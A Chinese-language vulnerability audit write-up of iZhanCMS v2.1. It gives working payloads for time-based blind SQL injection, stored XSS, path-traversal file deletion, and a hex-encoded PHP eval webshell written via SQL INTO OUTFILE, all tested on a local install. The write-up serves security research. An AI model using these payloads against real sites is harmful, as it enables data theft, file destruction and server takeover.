【代码审计】iZhanCMS_v2.1 漏洞分析

    爱站CMS是一款开源免费的CMS内容管理系统，具有开放灵活，安全高效，简洁美观！本次针对iZhanCMS_v2.1版本进行代码审计，发现代码中存在的安全漏洞。

iZhanCMS官网：http://www.izhancms.com

网站源码版本：爱站CMS（zend6.0） V2.1

程序源码下载：http://www.izhancms.com/category/Category/index/cid/1

默认后台地址：http://127.0.0.1/admin/admin/index

默认账号密码：admin 密码自设至少六位

代码分析：

漏洞文件位置: /application/index/controllers/IndexController.php 第89-102行：

这段函数中将获取到的参数id，没有单引号保护，拼接到SQL语句中然后带入数据库执行，导致程序在实现上存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信

息。

漏洞利用：

根据漏洞位置，构造出时间盲注的Payload：http://127.0.0.1/index/index/qrcodePreview?id=2/**/xor/**/if(substring(user(),1,1)='2',sleep(5),0)--可直接使用SQLMAP获取数据库数据：

代码分析：

漏洞文件位置：/application/goods/controllers/GoodsController.php 第68-96行

这段函数中将获取到的参数id，带入到getLinkgoodsid函数中查询，注意看第三个圈住

的地方，参数id拼接到SQL语句中，然后带入数据库执行，这个地方就存在SQL注

入。我们再来跟进getLinkgoodsid函数看一下：

漏洞文件位置：/application/goods/models/GoodsModel.php 第91-109行：

在这段函数中将获取到的参数id，同样拼接到SQL语句中，然后带入数据库执行。

综上，参数id在这里有两处SQL语句拼接，导致程序在实现上存在SQL注入漏洞，攻击者可利用该漏洞，获取数据库敏感信息。

漏洞利用：

根据漏洞位置，构造出时间盲注的Payload：

http://127.0.0.1/goods/Goods/info?id=2 xor if('2'='2',sleep(5),0)--

可直接使用SQLMAP来跑：

太简单，代码分析就略过。

漏洞利用：

网站前台--意见和建议--留言人—提交Payload:222<script>alert(/xss/)</script>

当管理员在后台查看留言信息时，会触发js脚本代码。

代码分析：

漏洞文件位置：/admin/application/webset/controllers/DbrecoverController.php 

跟进deleteTable函数：

漏洞文件位置：/admin/application/webset/models/TableModel.php 

在这段函数中，获取到$save_path，进行处理，然后直接将$filen_path带入删除函数中执行，导致程序在实现上存在任意文件删除漏洞，攻击者可通过该漏洞删除任意文件。

漏洞利用：

在根目录新建test.txt，作为漏洞测试文件

登录后台，提交Payload，删除根目录下的test.txt 文件

Payload:http://127.0.0.1/admin/webset/dbrecover/delete?tbname=../../../test.txt

方式一：修改标签文件

登录后台--模板管理--标签管理--标签列表--修改tag.lib.php：

Payload:phpinfo();

访问 http://127.0.0.1/library/mainone/taglib/tags.lib.php 成功触发代码执行漏洞。

方式二：利用SQL语句写入webshell

登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。

问题：输入的字符会进行html实体编码，因此使用传统的into outfile语句无法成功写入

文件

select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php'  写入失败

将一句话转化为Hex编码，构造Pyaload如下：

SELECT  111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php'  LINES

TERMINATED BY  0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –

成功写入webshell，控制网站服务器

    这是一次黑盒结合白盒的漏洞挖掘案例，相对会全面一点，有对这方面有研究的童鞋，欢迎来相互探讨，交流。